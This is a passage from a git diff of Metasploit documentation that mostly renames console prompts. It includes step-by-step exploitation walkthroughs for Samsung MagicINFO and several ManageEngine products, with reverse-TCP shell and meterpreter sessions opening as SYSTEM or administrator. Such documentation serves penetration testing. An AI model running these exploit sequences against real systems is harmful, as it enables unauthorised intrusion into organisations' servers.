21.1050.0 (CVE-2024-7399). + +Remote code execution can be obtained by exploiting the path traversal vulnerability (CVE-2024-7399) in the SWUpdateFileUploader servlet, +which can be queried by an unauthenticated user to upload a JSP shell. +By default, the application listens on TCP ports 7001 (HTTP) and 7002 (HTTPS) on all network interfaces and runs in the context of NT +AUTHORITY\SYSTEM. + +**Vulnerable Application Installation** + +A trial version of the software can be obtained from [the vendor] +(https://www.samsung.com/us/business/solutions/digital-signage-solutions/magicinfo/). + +**Successfully tested on** + +- MagicINFO 9 21.1040.2 on Windows 10 (22H2) + +## Verification Steps + +1. Install Postgres or MySQL +2. Install the application +3. Activate the license +4. Start `msfconsole` and run the following commands: + +``` +msf > use exploit/windows/http/magicinfo_traversal +msf exploit(windows/http/magicinfo_traversal) > set RHOSTS +msf exploit(windows/http/magicinfo_traversal) > exploit +``` + +You should get a shell in the context of `NY AUTHORITY\SYSTEM`. + +## Options + +### DEPTH +The traversal depth. The FILE path will be prepended with ../ * DEPTH. + +## Scenarios + +Running the exploit against MagicINFO 9 21.1040.2 on Windows 10 should result in an output similar to the +following: + +``` +msf exploit(windows/http/magicinfo_traversal) > exploit + +[*] Started reverse TCP handler on 192.168.137.204:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] MagicINFO version detected: MagicINFO 9 Server 21.1040.2 +[+] The target appears to be vulnerable. +[*] Uploading payload... +[*] Upload successful +[*] Payload executed! +[*] Command shell session 3 opened (192.168.137.204:4444 -> 192.168.137.230:50038) at 2025-05-14 17:36:47 -0400 + + +Shell Banner: +Microsoft Windows [Version 10.0.19045.3208] +(c) Microsoft Corporation. All rights reserved. + +C:\MagicInfo Premium\tomcat\bin> +----- + + +C:\MagicInfo Premium\tomcat\bin>whoami +whoami +nt authority\system + +C:\MagicInfo Premium\tomcat\bin> +``` diff --git a/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md index 587ac65f80456..fc6a4021e2529 100644 --- a/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md +++ b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md @@ -83,7 +83,7 @@ Password to authenticate with. The default is `admin`, which matches the default ## Scenarios ### ManageEngine ADAudit Plus build 7003 running on Windows Server 2012 R2 ``` -msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > options +msf exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > options Module options (exploit/windows/http/manageengine_adaudit_plus_authenticated_rce): @@ -116,7 +116,7 @@ Exploit target: 0 Windows Command -msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > run +msf exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > run [*] Started reverse TCP handler on 192.168.91.195:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -142,7 +142,7 @@ PS C:\Program Files\ManageEngine\ADAudit Plus\bin> ### ManageEngine ADAudit Plus build 7005 running on Windows Server 2012 R2 ``` -msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > run +msf exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > run [*] Started reverse TCP handler on 192.168.91.195:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -172,13 +172,13 @@ PS C:\Program Files\ManageEngine\ADAudit Plus\bin> ### ManageEngine ADAudit Plus build 6077 running on Windows Server 2022 - Powershell Payload ``` -msf6 > use exploit/windows/http/manageengine_adaudit_plus_authenticated_rce +msf > use exploit/windows/http/manageengine_adaudit_plus_authenticated_rce [*] Using configured payload cmd/windows/powershell_reverse_tcp -msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set RHOSTS 192.168.204.132 +msf exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set RHOSTS 192.168.204.132 RHOSTS => 192.168.204.132 -msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set LHOST 192.168.204.128 +msf exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set LHOST 192.168.204.128 LHOST => 192.168.204.128 -msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > show options +msf exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > show options Module options (exploit/windows/http/manageengine_adaudit_plus_authenticated_rce): @@ -214,14 +214,14 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > check +msf exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > check [*] Using configured authentication domain alias DAFOREST. [*] Attempting to authenticate to ADAuditPlus Authentication with username: admin and password: admin [*] Found 1 configured domain(s): daforest.com [+] Successfully authenticated [*] 192.168.204.132:8081 - The target appears to be vulnerable. The target is ADAudit Plus 6077 -msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > exploit +msf exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > exploit [*] Started reverse TCP handler on 192.168.204.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -243,7 +243,7 @@ PS C:\Program Files\ManageEngine\ADAudit Plus\bin> whoami daforest\administrator PS C:\Program Files\ManageEngine\ADAudit Plus\bin> ^X^Z Background session 2? [y/N] y -msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > sessions +msf exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > sessions Active sessions =============== @@ -253,18 +253,18 @@ Active sessions 1 powershell windows Administrator @ WIN-BRSHGJGIDFM 192.168.204.128:4444 -> 192.168.204.132:62844 (192.168.204.132) 2 powershell windows Administrator @ WIN-BRSHGJGIDFM 192.168.204.128:4444 -> 192.168.204.132:62845 (192.168.204.132) -msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > +msf exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > ``` ### ManageEngine ADAudit Plus build 6077 running on Windows Server 2022 - Meterpreter Payload ``` -msf6 > use exploit/windows/http/manageengine_adaudit_plus_authenticated_rce +msf > use exploit/windows/http/manageengine_adaudit_plus_authenticated_rce [*] Using configured payload cmd/windows/powershell_reverse_tcp -msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set RHOSTS 192.168.204.132 +msf exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set RHOSTS 192.168.204.132 RHOSTS => 192.168.204.132 -msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set LHOST 192.168.204.128 +msf exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set LHOST 192.168.204.128 LHOST => 192.168.204.128 -msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > show options +msf exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > show options Module options (exploit/windows/http/manageengine_adaudit_plus_authenticated_rce): @@ -300,9 +300,9 @@ Id Name View the full module info with the info, or info -d command. -msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set payload cmd/windows/powershell/x64/meterpreter/reverse_tcp +msf exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set payload cmd/windows/powershell/x64/meterpreter/reverse_tcp payload => cmd/windows/powershell/x64/meterpreter/reverse_tcp -msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > exploit +msf exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > exploit [*] Started reverse TCP handler on 192.168.204.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -378,13 +378,13 @@ meterpreter > ### ManageEngine ADAudit Plus build 7005 running on Windows Server 2022 - Powershell Payload ``` -msf6 > use exploit/windows/http/manageengine_adaudit_plus_authenticated_rce +msf > use exploit/windows/http/manageengine_adaudit_plus_authenticated_rce [*] Using configured payload cmd/windows/powershell_reverse_tcp -msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set RHOST 192.168.204.136 +msf exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set RHOST 192.168.204.136 RHOST => 192.168.204.136 -msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set LHOST 192.168.204.128 +msf exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set LHOST 192.168.204.128 LHOST => 192.168.204.128 -msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > show options +msf exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > show options Module options (exploit/windows/http/manageengine_adaudit_plus_authenticated_rce): @@ -420,7 +420,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > exploit +msf exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > exploit [*] Started reverse TCP handler on 192.168.204.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -453,7 +453,7 @@ C:\Program Files\ManageEngine\ADAudit Plus\bin PS C:\Program Files\ManageEngine\ADAudit Plus\bin> ^Z Background session 2? [y/N] y -msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > sessions +msf exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > sessions Active sessions =============== @@ -463,5 +463,5 @@ Active sessions 1 powershell windows Administrator @ WIN-BRSHGJGIDFM 192.168.204.128:4444 -> 192.168.204.136:53464 (192.168.204.136) 2 powershell windows Administrator @ WIN-BRSHGJGIDFM 192.168.204.128:4444 -> 192.168.204.136:53465 (192.168.204.136) -msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > +msf exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > ``` diff --git a/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_cve_2022_28219.md b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_cve_2022_28219.md index 9b7580b2c69fb..98553df2d0fc1 100644 --- a/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_cve_2022_28219.md +++ b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_cve_2022_28219.md @@ -17,13 +17,13 @@ The last thing is, three connect-back ports must be open from the target back to ## Scenarios ``` -msf6 > use exploit/windows/http/manageengine_adaudit_plus_cve_2022_28219 +msf > use exploit/windows/http/manageengine_adaudit_plus_cve_2022_28219 [*] No payload configured, defaulting to cmd/windows/powershell/meterpreter/reverse_tcp -msf6 exploit(windows/http/manageengine_adaudit_plus_cve_2022_28219) > set RHOSTS 10.0.0.148 +msf exploit(windows/http/manageengine_adaudit_plus_cve_2022_28219) > set RHOSTS 10.0.0.148 RHOSTS => 10.0.0.148 -msf6 exploit(windows/http/manageengine_adaudit_plus_cve_2022_28219) > set DOMAIN ad.example.local +msf exploit(windows/http/manageengine_adaudit_plus_cve_2022_28219) > set DOMAIN ad.example.local DOMAIN => ad.example.local -msf6 exploit(windows/http/manageengine_adaudit_plus_cve_2022_28219) > exploit +msf exploit(windows/http/manageengine_adaudit_plus_cve_2022_28219) > exploit [*] Started reverse TCP handler on 10.0.0.146:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md b/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md index 7ebd300d7316f..a4c73c4cf703b 100644 --- a/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md +++ b/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md @@ -40,7 +40,7 @@ Domain to log into ADManager Plus with or `ADManager Plus Authentication`. ### ManageEngine ADManager Plus Build 7151 on Windows Server 2022 ``` -msf6 exploit(windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection) > show options +msf exploit(windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection) > show options Module options (exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection): @@ -75,7 +75,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection) > exploit +msf exploit(windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection) > exploit [*] Started reverse TCP handler on 192.168.64.128:8899 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/http/manageengine_adselfservice_plus_cve_2021_40539.md b/documentation/modules/exploit/windows/http/manageengine_adselfservice_plus_cve_2021_40539.md index 2a2bdac012166..ffb2f9ce12e78 100644 --- a/documentation/modules/exploit/windows/http/manageengine_adselfservice_plus_cve_2021_40539.md +++ b/documentation/modules/exploit/windows/http/manageengine_adselfservice_plus_cve_2021_40539.md @@ -27,9 +27,9 @@ Path traversal for auth bypass. `/./` is the default. ### ADSelfService Plus 6113 on Windows Server 2016 ``` -msf6 > use exploit/windows/http/manageengine_adselfservice_plus_cve_2021_40539 +msf > use exploit/windows/http/manageengine_adselfservice_plus_cve_2021_40539 [*] No payload configured, defaulting to java/meterpreter/reverse_tcp -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2021_40539) > options +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2021_40539) > options Module options (exploit/windows/http/manageengine_adselfservice_plus_cve_2021_40539): @@ -61,11 +61,11 @@ Exploit target: 0 Java Dropper -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2021_40539) > set rhosts 172.16.57.167 +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2021_40539) > set rhosts 172.16.57.167 rhosts => 172.16.57.167 -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2021_40539) > set lhost 172.16.57.1 +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2021_40539) > set lhost 172.16.57.1 lhost => 172.16.57.1 -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2021_40539) > run +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2021_40539) > run [*] Started reverse TCP handler on 172.16.57.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810.md b/documentation/modules/exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810.md index d43fd51feb10f..63b748908be1b 100644 --- a/documentation/modules/exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810.md +++ b/documentation/modules/exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810.md @@ -86,19 +86,19 @@ will enable custom scripts and insert the configured payload. ### Successful exploitation of ADSelfService Plus 6121 on Windows 10 over HTTP ``` -msf6 > use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810 +msf > use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810 [*] Using configured payload cmd/windows/jjs_reverse_tcp -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RHOST 10.0.0.20 +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RHOST 10.0.0.20 RHOST => 10.0.0.20 -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set LHOST 10.0.0.2 +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set LHOST 10.0.0.2 LHOST => 10.0.0.2 -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > check +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > check [*] 10.0.0.20:8888 - The target appears to be vulnerable. This determination is based on the version string: 6121. -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run [*] Exploit running as background job 0. [*] Running automatic check ("set AutoCheck false" to disable) -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [+] The target appears to be vulnerable. This determination is based on the version string: 6121. +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [+] The target appears to be vulnerable. This determination is based on the version string: 6121. [+] Authentication successful [*] Requesting policy list from /ServletAPI/configuration/policyConfig/getPolicyConfigDetails [*] Requesting policy details for okhuman.ninja @@ -107,11 +107,11 @@ msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [+] [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 10.0.0.2:4444 -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.20:49940 ) at 2022-04-19 08:47:28 -0700 +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.20:49940 ) at 2022-04-19 08:47:28 -0700 -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > sessions 1 +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > sessions 1 [*] Starting interaction with 1... @@ -130,61 +130,61 @@ nt authority\system ``` sf6 > use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810 [*] Using configured payload cmd/windows/jjs_reverse_tcp -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RHOST 10.0.0.20 +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RHOST 10.0.0.20 RHOST => 10.0.0.20 -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set LHOST 10.0.0.2 +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set LHOST 10.0.0.2 LHOST => 10.0.0.2 -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set PASSWORD lolwat +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set PASSWORD lolwat PASSWORD => lolwat -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run [*] Exploit running as background job 0. [*] Running automatic check ("set AutoCheck false" to disable) -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [+] The target appears to be vulnerable. This determination is based on the version string: 6121. +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [+] The target appears to be vulnerable. This determination is based on the version string: 6121. [-] Exploit aborted due to failure: no-access: Log in attempt failed -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > ``` ### Failed exploitation of patched ADSelfService Plus build 6122 ``` -msf6 > use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810 +msf > use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810 [*] Using configured payload cmd/windows/jjs_reverse_tcp -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RHOST 10.0.0.16 +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RHOST 10.0.0.16 RHOST => 10.0.0.16 -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set LHOST 10.0.0.2 +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set LHOST 10.0.0.2 LHOST => 10.0.0.2 -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run [*] Exploit running as background job 0. -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [*] Running automatic check ("set AutoCheck false" to disable) +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [*] Running automatic check ("set AutoCheck false" to disable) [-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. This determination is based on the version string: 6122. "set ForceExploit true" to override check result. -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > ``` ### Successful exploitation of ADSelfService Plus 6121 on Windows 10 over HTTPs (9251 is default when configured) ``` -msf6 > use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810 +msf > use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810 [*] Using configured payload cmd/windows/jjs_reverse_tcp -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set SSL true +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set SSL true [!] Changing the SSL option's value may require changing RPORT! SSL => true -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RPORT 9251 +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RPORT 9251 RPORT => 9251 -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RHOST 10.0.0.20 +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RHOST 10.0.0.20 RHOST => 10.0.0.20 -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set LHOST 10.0.0.2 +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set LHOST 10.0.0.2 LHOST => 10.0.0.2 -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > check +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > check [*] 10.0.0.20:9251 - The target appears to be vulnerable. This determination is based on the version string: 6121. -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run [*] Exploit running as background job 0. [*] Running automatic check ("set AutoCheck false" to disable) -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [+] The target appears to be vulnerable. This determination is based on the version string: 6121. +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [+] The target appears to be vulnerable. This determination is based on the version string: 6121. [+] Authentication successful [*] Requesting policy list from /ServletAPI/configuration/policyConfig/getPolicyConfigDetails [*] Requesting policy details for okhuman.ninja @@ -194,7 +194,7 @@ msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [+] [*] Started reverse TCP handler on 10.0.0.2:4444 [*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.20:50035 ) at 2022-04-19 09:10:37 -0700 -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > sessions 1 +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > sessions 1 [*] Starting interaction with 1... @@ -211,24 +211,24 @@ nt authority\system ### Successful exploitation of ADSelfService Plus 6121 on Windows 10 over HTTP for a powershell reverse shell ``` -msf6 > use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810 +msf > use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810 [*] Using configured payload cmd/windows/jjs_reverse_tcp -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RHOST 10.0.0.20 +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RHOST 10.0.0.20 RHOST => 10.0.0.20 -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set LHOST 10.0.0.2 +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set LHOST 10.0.0.2 LHOST => 10.0.0.2 -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set SHELL powershell.exe +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set SHELL powershell.exe SHELL => powershell.exe -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run [*] Exploit running as background job 0. [*] Running automatic check ("set AutoCheck false" to disable) -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [-] Exploit aborted due to failure: unknown: Cannot reliably check exploitability. The target failed to respond to check. "set ForceExploit true" to override check result. +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [-] Exploit aborted due to failure: unknown: Cannot reliably check exploitability. The target failed to respond to check. "set ForceExploit true" to override check result. -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run [*] Exploit running as background job 1. -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [*] Running automatic check ("set AutoCheck false" to disable) +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. This determination is based on the version string: 6121. [+] Authentication successful [*] Requesting policy list from /ServletAPI/configuration/policyConfig/getPolicyConfigDetails @@ -239,7 +239,7 @@ msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [*] [*] Started reverse TCP handler on 10.0.0.2:4444 [*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.20:50060 ) at 2022-04-19 10:15:20 -0700 -msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > sessions 1 +msf exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > sessions 1 [*] Starting interaction with 1... diff --git a/documentation/modules/exploit/windows/http/manageengine_appmanager_exec.md b/documentation/modules/exploit/windows/http/manageengine_appmanager_exec.md index c8af3b319be4c..fd4c2d63383d8 100644 --- a/documentation/modules/exploit/windows/http/manageengine_appmanager_exec.md +++ b/documentation/modules/exploit/windows/http/manageengine_appmanager_exec.md @@ -26,17 +26,17 @@ A successful check of the exploit will look like this: ## Scenarios ``` -msf5 > -msf5 > use exploit/windows/http/manageengine_appmanager_exec -msf5 exploit(windows/http/manageengine_appmanager_exec) > set RHOST 12.0.0.192 +msf > +msf > use exploit/windows/http/manageengine_appmanager_exec +msf exploit(windows/http/manageengine_appmanager_exec) > set RHOST 12.0.0.192 RHOST => 12.0.0.192 -msf5 exploit(windows/http/manageengine_appmanager_exec) > set payload windows/meterpreter/reverse_tcp +msf exploit(windows/http/manageengine_appmanager_exec) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp -msf5 exploit(windows/http/manageengine_appmanager_exec) > set LHOST 12.0.0.1 +msf exploit(windows/http/manageengine_appmanager_exec) > set LHOST 12.0.0.1 LHOST => 12.0.0.1 -msf5 exploit(windows/http/manageengine_appmanager_exec) > check +msf exploit(windows/http/manageengine_appmanager_exec) > check [+] 12.0.0.192:9090 The target is vulnerable. -msf5 exploit(windows/http/manageengine_appmanager_exec) > run +msf exploit(windows/http/manageengine_appmanager_exec) > run [*] Started reverse TCP handler on 12.0.0.1:4444 [*] Triggering the vulnerability diff --git a/documentation/modules/exploit/windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966.md b/documentation/modules/exploit/windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966.md index 257ecc2a96c60..08b7b6c162b7c 100644 --- a/documentation/modules/exploit/windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966.md +++ b/documentation/modules/exploit/windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966.md @@ -69,11 +69,11 @@ value. ### Endpoint Central version 10.1.2228.5 - Target 1 (Windows Command) ``` -msf6 exploit(windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966) > set rhosts 192.168.100.58 +msf exploit(windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966) > set rhosts 192.168.100.58 rhosts => 192.168.100.58 -msf6 exploit(windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966) > set lhost 192.168.100.7 +msf exploit(windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966) > set lhost 192.168.100.7 lhost => 192.168.100.7 -msf6 exploit(windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966) > exploit +msf exploit(windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966) > exploit [*] Started reverse TCP handler on 192.168.100.7:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -102,7 +102,7 @@ C:\Program Files\DesktopCentral_Server\bin> ``` ### Endpoint Central version 10.1.2228.5 - Target 0 (Windows EXE dropper) ``` -msf6 exploit(windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966) > exploit +msf exploit(windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966) > exploit [*] Started reverse TCP handler on 192.168.100.7:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/http/manageengine_servicedesk_plus_cve_2021_44077.md b/documentation/modules/exploit/windows/http/manageengine_servicedesk_plus_cve_2021_44077.md index 4d136309de775..61826da2a2547 100644 --- a/documentation/modules/exploit/windows/http/manageengine_servicedesk_plus_cve_2021_44077.md +++ b/documentation/modules/exploit/windows/http/manageengine_servicedesk_plus_cve_2021_44077.md @@ -26,9 +26,9 @@ Follow [Setup](#setup) and [Scenarios](#scenarios). ### ServiceDesk Plus 11301 on Windows Server 2016 ``` -msf6 > use exploit/windows/http/manageengine_servicedesk_plus_cve_2021_44077 +msf > use exploit/windows/http/manageengine_servicedesk_plus_cve_2021_44077 [*] Using configured payload windows/x64/meterpreter_reverse_tcp -msf6 exploit(windows/http/manageengine_servicedesk_plus_cve_2021_44077) > options +msf exploit(windows/http/manageengine_servicedesk_plus_cve_2021_44077) > options Module options (exploit/windows/http/manageengine_servicedesk_plus_cve_2021_44077): @@ -60,11 +60,11 @@ Exploit target: 0 Windows Dropper -msf6 exploit(windows/http/manageengine_servicedesk_plus_cve_2021_44077) > set rhosts 172.16.57.222 +msf exploit(windows/http/manageengine_servicedesk_plus_cve_2021_44077) > set rhosts 172.16.57.222 rhosts => 172.16.57.222 -msf6 exploit(windows/http/manageengine_servicedesk_plus_cve_2021_44077) > set lhost 